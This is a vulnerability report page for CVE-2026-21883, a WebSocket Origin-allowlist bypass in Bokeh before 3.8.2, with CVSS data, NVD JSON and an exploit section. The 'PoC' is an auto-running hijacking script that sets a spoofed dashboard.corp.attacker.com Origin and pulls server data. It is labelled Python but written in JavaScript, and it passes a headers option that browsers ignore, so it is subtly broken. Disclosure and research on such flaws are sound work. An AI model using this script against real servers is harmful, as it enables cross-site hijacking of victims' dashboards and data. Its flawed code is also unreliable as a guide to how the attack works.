Security Vulnerability Report
中文
CVE-2026-21883 CVSS 5.4 MEDIUM

CVE-2026-21883

Published: 2026-01-08 02:15:54
Last Modified: 2026-03-09 14:00:26

Description

Bokeh is an interactive visualization library written in Python. In versions 3.8.1 and below, if a server is configured with an allowlist (e.g., dashboard.corp), an attacker can register a domain like dashboard.corp.attacker.com (or use a subdomain if applicable) and lure a victim to visit it. The malicious site can then initiate a WebSocket connection to the vulnerable Bokeh server. Since the Origin header (e.g., http://dashboard.corp.attacker.com/) matches the allowlist according to the flawed logic, the connection is accepted. Once connected, the attacker can interact with the Bokeh server on behalf of the victim, potentially accessing sensitive data, or modifying visualizations. This issue is fixed in version 3.8.2.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:bokeh:bokeh:*:*:*:*:*:python:*:* - VULNERABLE
Bokeh < 3.8.2
Bokeh 3.8.1及以下版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-21883 PoC - Bokeh WebSocket Origin Bypass // This PoC demonstrates the Origin validation bypass in Bokeh < 3.8.2 // Configuration - Replace with target values const TARGET_BOKEH_SERVER = 'http://dashboard.corp:5006'; const MALICIOUS_ORIGIN = 'http://dashboard.corp.attacker.com'; // Malicious page that hijacks Bokeh WebSocket connection function exploitBokehWebSocket() { // Create WebSocket connection to target Bokeh server // The malicious Origin will bypass allowlist check due to flawed string matching const ws = new WebSocket(TARGET_BOKEH_SERVER + '/ws', { headers: { 'Origin': MALICIOUS_ORIGIN } }); ws.onopen = function() { console.log('[+] WebSocket connection established'); console.log('[+] Origin header sent:', MALICIOUS_ORIGIN); console.log('[+] Server allowlist check bypassed due to string inclusion flaw'); // Send handshake message ws.send(JSON.stringify({ type: 'PullDocReq', 'bokeh-protocol-version': '1.0' })); }; ws.onmessage = function(event) { console.log('[+] Received message from server:', event.data); // Parse response and extract sensitive data // Can now interact with Bokeh server on behalf of victim }; ws.onerror = function(error) { console.error('[-] WebSocket error:', error); }; } // Auto-execute when page loads window.onload = function() { console.log('[*] Initiating Bokeh WebSocket hijacking attack...'); exploitBokehWebSocket(); };

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21883", "sourceIdentifier": "[email protected]", "published": "2026-01-08T02:15:53.950", "lastModified": "2026-03-09T14:00:25.800", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Bokeh is an interactive visualization library written in Python. In versions 3.8.1 and below, if a server is configured with an allowlist (e.g., dashboard.corp), an attacker can register a domain like dashboard.corp.attacker.com (or use a subdomain if applicable) and lure a victim to visit it. The malicious site can then initiate a WebSocket connection to the vulnerable Bokeh server. Since the Origin header (e.g., http://dashboard.corp.attacker.com/) matches the allowlist according to the flawed logic, the connection is accepted. Once connected, the attacker can interact with the Bokeh server on behalf of the victim, potentially accessing sensitive data, or modifying visualizations. This issue is fixed in version 3.8.2."}, {"lang": "es", "value": "Bokeh es una biblioteca de visualización interactiva escrita en Python. En las versiones 3.8.1 e inferiores, si un servidor está configurado con una lista de permitidos (por ejemplo, dashboard.corp), un atacante puede registrar un dominio como dashboard.corp.attacker.com (o usar un subdominio si corresponde) y atraer a una víctima para que lo visite. El sitio malicioso puede entonces iniciar una conexión WebSocket al servidor Bokeh vulnerable. Dado que el encabezado Origin (por ejemplo, HTTP://dashboard.corp.attacker.com/) coincide con la lista de permitidos según la lógica defectuosa, la conexión es aceptada. Una vez conectado, el atacante puede interactuar con el servidor Bokeh en nombre de la víctima, potencialmente accediendo a datos sensibles o modificando visualizaciones. Este problema está solucionado en la versión 3.8.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1385"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bokeh:bokeh:*:*:*:*:*:python:*:*", "versionEndExcluding": "3.8.2", "matchCriteriaId": "9F5AC308-2F7D-4567-894B-E7417523D04B"}]}]}], "references": [{"url": "https://github.com/bokeh/bokeh/commit/cedd113b0e271b439dce768671685cf5f861812e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/bokeh/bokeh/security/advisories/GHSA-793v-589g-574v", "source": "[email protected]", "tags": ["Vendor Advisory", "Exploit"]}, {"url": "https://aydinnyunus.github.io/2026/01/24/bokeh-websocket-hijacking-cve-2026-21883/", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}]}}